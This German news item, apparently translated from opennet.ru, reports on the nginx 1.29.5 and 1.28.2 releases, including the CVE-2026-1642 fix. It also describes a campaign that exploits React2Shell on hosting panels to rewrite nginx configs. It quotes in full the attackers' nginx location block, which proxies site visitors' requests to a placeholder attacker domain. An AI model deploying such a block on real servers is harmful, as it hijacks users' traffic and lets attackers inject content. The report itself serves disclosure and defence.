Die Hauptversion nginx 1.29.5 wurde veröffentlicht, die die Entwicklung neuer Funktionen fortsetzt, während gleichzeitig die stabil unterstützte Version nginx 1.28.2 bereitgestellt wird, in die ausschließlich Änderungen zur Behebung schwerwiegender Fehler und Sicherheitsanfälligkeiten eingeführt werden. In den Updates wurde die Sicherheitsanfälligkeit (CVE-2026-1642) behoben, die es einem Angreifer ermöglicht, der in der Lage ist, sich in den Kommunikationskanal zwischen nginx und dem Upstream-Server einzuschleusen (MITM), die an den Client gesendeten Antworten zu manipulieren. Das Problem betrifft Konfigurationen, die Anfragen (HTTP 1.x, HTTP/2, gRPC oder uWSGI) an einen vorgelagerten Server über TLS-Verschlüsselung proxyen.
Neben der Schwachstelle in der Version 1.29.5 wurde das Logging-Level für SSL-Fehler "ech_required" von „crit“ auf „info“ heruntergestuft. Außerdem wurden mehrere Probleme behoben: Der Zugriff auf bereits freigegebenen Speicher (Use-After-Free) wurde nach dem Wechsel zum nächsten gRPC- oder HTTP/2-Backend behoben; ein Problem mit der Übermittlung ungültiger HTTP/2-Anfragen nach dem Wechsel zum nächsten Upstream-Server wurde gelöst; die Vergrößerung der Antwortgröße bei mehreren Bereichen wurde behoben; und die Variable HTTP_HOST wird beim Proxyn zu FastCGI-, SCGI- und uwsgi-Backends korrekt gesetzt.
Zusätzlich wurde eine automatisierte Angriffserkennung vermerkt, die nach einem erfolgreichen Hack Server durch eine Änderung der nginx-Konfiguration limitiert wird. Der Hack erfolgt über eine unbehobene Schwachstelle in React2Shell in den Serverkomponenten von React auf Systemen mit Hosting-Control Panels., wie Baota (BT). Änderungen an der Nginx-Konfiguration leiteten Anfragen an die betroffenen Webseiten auf den Server der Angreifer um, der bösartige Änderungen in die an den Benutzer zurückgegebenen Antworten einfügte. location /%PATH%/ { set $fullurl «$scheme://$host$request_uri»; rewrite ^/%PATH%/?(.*)$ /index.php?domain=$fullurl&$args break; proxy_set_header Host [Attacker_Domain]; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header User-Agent $http_user_agent; proxy_set_header Referer $http_referer; proxy_ssl_server_name on; proxy_pass http://[Attacker_Domain]; }
Statt Rootkits oder Malware auf dem Server zu installieren, wird eine Attacke auf die Kunden organisiert, die die auf dem Server gehostete Webseite öffnen, ohne dass Änderungen an den Komponenten der Webseite auf dem Server vorgenommen werden. Die Attacke zielt hauptsächlich darauf ab, den Datenverkehr von Domains asiatischer Länder sowie von *.edu- und *.gov-Domains abzufangen. Über den Server der Angreifer werden gezielte Anfragen umgeleitet, beispielsweise solche, die die Begriffe „pg“, „pgslot“, „slot“, „game“, „casino“, „live“, „help“, „news“, „page“, „blog“, „about“, „support“ und „info“ in den Pfaden enthalten. Die Attacke erfolgt automatisiert mit einer Toolkit, das die Konfiguration von nginx durchsucht und analysiert, ein Muster für die Einstellungen auswählt und einsetzt, nginx neu startet und die Funktionalität der modifizierten Version überprüft.
Quelle: opennet.ru
